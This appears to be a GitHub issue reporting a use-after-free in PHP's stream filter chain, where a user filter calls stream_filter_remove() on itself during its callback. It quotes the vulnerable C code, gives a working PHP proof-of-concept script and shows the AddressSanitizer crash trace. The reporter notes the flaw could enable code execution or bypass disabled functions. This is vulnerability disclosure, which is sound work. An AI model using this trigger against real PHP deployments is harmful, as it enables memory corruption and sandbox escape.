Skip to content

Stream filter chain UAF via self-removal during callback #22063

@therealcoiffeur

Description

@therealcoiffeur

Description

Summary

_php_stream_filter_flush() iterates a linked list of stream filters without saving current->next before invoking each filter's callback. For PHP user-space filters, the callback dispatches into userfilter_filter() which calls the PHP class's filter() method. From inside that method the user can call stream_filter_remove() on the currently-executing filter, which calls php_stream_filter_remove(filter, true) -> php_stream_filter_free(filter), freeing the php_stream_filter struct while the C iteration is still live.

Two separate UAF access points result:

  1. user_filters.c:241: obj = &thisfilter->abstract is set before the callback. After php_stream_filter_free(thisfilter) frees the struct, obj is dangling. If the filter class declares a $stream property, stream_name is non-NULL and Z_OBJCE_P(obj) / Z_OBJ_P(obj) at line 241 read from the freed struct. This fires regardless of the return value from the PHP filter() method.

  2. filter.c:420: After userfilter_filter() returns, the loop update current = current->next reads next from the freed thisfilter struct. This fires when the PHP filter() method returns PSFS_PASS_ON (2); PSFS_FEED_ME (1) and PSFS_ERR_FATAL (0) both return before the loop update.

Vulnerable Source Code

// main/streams/filter.c:402-440 -- flush loop, no next-pointer save
PHPAPI zend_result _php_stream_filter_flush(php_stream_filter *filter, bool finish)
{
    ...
    for(current = filter; current; current = current->next) {   // line 420
        status = current->fops->filter(stream, current,         // line 423
                                       inp, outp, NULL, flags);
        if (status == PSFS_FEED_ME) { return SUCCESS; }         // exits before UAF #2
        if (status == PSFS_ERR_FATAL) { return FAILURE; }       // exits before UAF #2
        ...
    }   // loop update: current = current->next  <- UAF #2 if PSFS_PASS_ON returned
}
// ext/standard/user_filters.c:164-254 -- PHP callback dispatch
static php_stream_filter_status_t userfilter_filter(
    php_stream *stream, php_stream_filter *thisfilter, ...)
{
    int ret = PSFS_ERR_FATAL;
    zval *obj = &thisfilter->abstract;              // line 174: pointer into filter struct

    call_user_function(NULL, obj, &func_name,       // line 212: PHP runs
                       &retval, 4, args);
    // PHP may call stream_filter_remove() -> php_stream_filter_free(thisfilter)
    // thisfilter struct is NOW FREED; obj is dangling

    if (stream_name != NULL) {                      // line 241: if $stream property exists
        zend_update_property_null(
            Z_OBJCE_P(obj),                         // UAF READ #1 from freed struct
            Z_OBJ_P(obj), ...);
    }
    return ret;
}
// main/streams/filter.c:487-508 -- php_stream_filter_remove frees the struct
PHPAPI php_stream_filter *php_stream_filter_remove(php_stream_filter *filter, bool call_dtor)
{
    if (filter->prev) filter->prev->next = filter->next;   // unlink
    else filter->chain->head = filter->next;
    if (filter->next) filter->next->prev = filter->prev;
    else filter->chain->tail = filter->prev;

    if (filter->res) zend_list_delete(filter->res);

    if (call_dtor) {
        php_stream_filter_free(filter);                    // struct freed here
        return NULL;
    }
    return filter;
}

How to Trigger

<?php

class UAFFilter extends php_user_filter {
    public $stream;
    private static bool $removed = false;

    public function filter($in, $out, &$consumed, $closing): int {
        if (!self::$removed) {
            self::$removed = true;
            stream_filter_remove($GLOBALS['filter_res']);
        }
        return PSFS_PASS_ON;
    }
}

stream_filter_register('uaf', 'UAFFilter');
$f = fopen('php://memory', 'r+');
$GLOBALS['filter_res'] = stream_filter_append($f, 'uaf', STREAM_FILTER_WRITE);
fwrite($f, 'hello');

Command:

USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f6/poc.php

Output:


Warning: fwrite(): Unprocessed filter buckets remaining on input brigade in /Users/terrence/Documents/Research/Targets/PHP/Results/Findings/f6/poc.php on line 19
=================================================================
==30105==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000027548 at pc 0x000106134d78 bp 0x00016aed8010 sp 0x00016aed8008
READ of size 8 at 0x607000027548 thread T0
    #0 0x000106134d74 in userfilter_filter user_filters.c:242
    #1 0x0001062d2e78 in _php_stream_write_filtered streams.c:1239
    #2 0x0001062d08dc in _php_stream_write streams.c:1326
    #3 0x000105f9b7e0 in zif_fwrite file.c:997
    #4 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #5 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #6 0x000106650430 in zend_execute zend_vm_execute.h:115586
    #7 0x000106c70b44 in zend_execute_script zend.c:1971
    #8 0x00010625f658 in php_execute_script_ex main.c:2646
    #9 0x00010625fbc0 in php_execute_script main.c:2686
    #10 0x000106c774b8 in do_cli php_cli.c:947
    #11 0x000106c75904 in main php_cli.c:1370
    #12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

0x607000027548 is located 8 bytes inside of 80-byte region [0x607000027540,0x607000027590)
freed by thread T0 here:
    #0 0x000109f0d258 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41258)
    #1 0x0001064d3664 in __zend_free zend_alloc.c:3571
    #2 0x0001064d737c in _efree zend_alloc.c:2788
    #3 0x0001062b39d8 in php_stream_filter_free filter.c:281
    #4 0x0001062b6078 in php_stream_filter_remove filter.c:505
    #5 0x0001060ab648 in zif_stream_filter_remove streamsfuncs.c:1313
    #6 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #7 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #8 0x000106629524 in zend_call_function zend_execute_API.c:1016
    #9 0x000106626d6c in _call_user_function_impl zend_execute_API.c:800
    #10 0x000106134c20 in userfilter_filter user_filters.c:212
    #11 0x0001062d2e78 in _php_stream_write_filtered streams.c:1239
    #12 0x0001062d08dc in _php_stream_write streams.c:1326
    #13 0x000105f9b7e0 in zif_fwrite file.c:997
    #14 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #15 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #16 0x000106650430 in zend_execute zend_vm_execute.h:115586
    #17 0x000106c70b44 in zend_execute_script zend.c:1971
    #18 0x00010625f658 in php_execute_script_ex main.c:2646
    #19 0x00010625fbc0 in php_execute_script main.c:2686
    #20 0x000106c774b8 in do_cli php_cli.c:947
    #21 0x000106c75904 in main php_cli.c:1370
    #22 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

previously allocated by thread T0 here:
    #0 0x000109f0d164 in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
    #1 0x0001064d7998 in __zend_malloc zend_alloc.c:3543
    #2 0x0001064d7250 in _emalloc zend_alloc.c:2778
    #3 0x0001062b369c in _php_stream_filter_alloc filter.c:266
    #4 0x000106133c60 in user_filter_factory_create user_filters.c:386
    #5 0x0001062b31cc in php_stream_filter_create filter.c:228
    #6 0x0001060aabb8 in apply_filter_to_stream streamsfuncs.c:1252
    #7 0x0001060ab050 in zif_stream_filter_append streamsfuncs.c:1288
    #8 0x0001069b78cc in ZEND_DO_ICALL_SPEC_RETVAL_USED_TAILCALL_HANDLER zend_vm_execute.h:54161
    #9 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #10 0x000106650430 in zend_execute zend_vm_execute.h:115586
    #11 0x000106c70b44 in zend_execute_script zend.c:1971
    #12 0x00010625f658 in php_execute_script_ex main.c:2646
    #13 0x00010625fbc0 in php_execute_script main.c:2686
    #14 0x000106c774b8 in do_cli php_cli.c:947
    #15 0x000106c75904 in main php_cli.c:1370
    #16 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

SUMMARY: AddressSanitizer: heap-use-after-free user_filters.c:242 in userfilter_filter
Shadow bytes around the buggy address:
  0x607000027280: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x607000027300: fa fa 00 00 00 00 00 00 00 00 00 03 fa fa fa fa
  0x607000027380: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 00 00
  0x607000027400: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
  0x607000027480: 00 00 00 00 00 00 fa fa fa fa fd fd fd fd fd fd
=>0x607000027500: fd fd fd fd fa fa fa fa fd[fd]fd fd fd fd fd fd
  0x607000027580: fd fd fa fa fa fa fd fd fd fd fd fd fd fd fd fd
  0x607000027600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x607000027680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x607000027700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x607000027780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30105==ABORTING
[1]    30105 abort      USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f6/poc.php

Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-fj3x-x2xf-vj4g is not part of PHP's threat model (which is wrong, but that's not my call).
"Hey, this is not a security issue. You have to write carefully crafted code to trigger this.
Please re-open this as a normal bug."

PHP Version

PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce

Operating System

No response

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions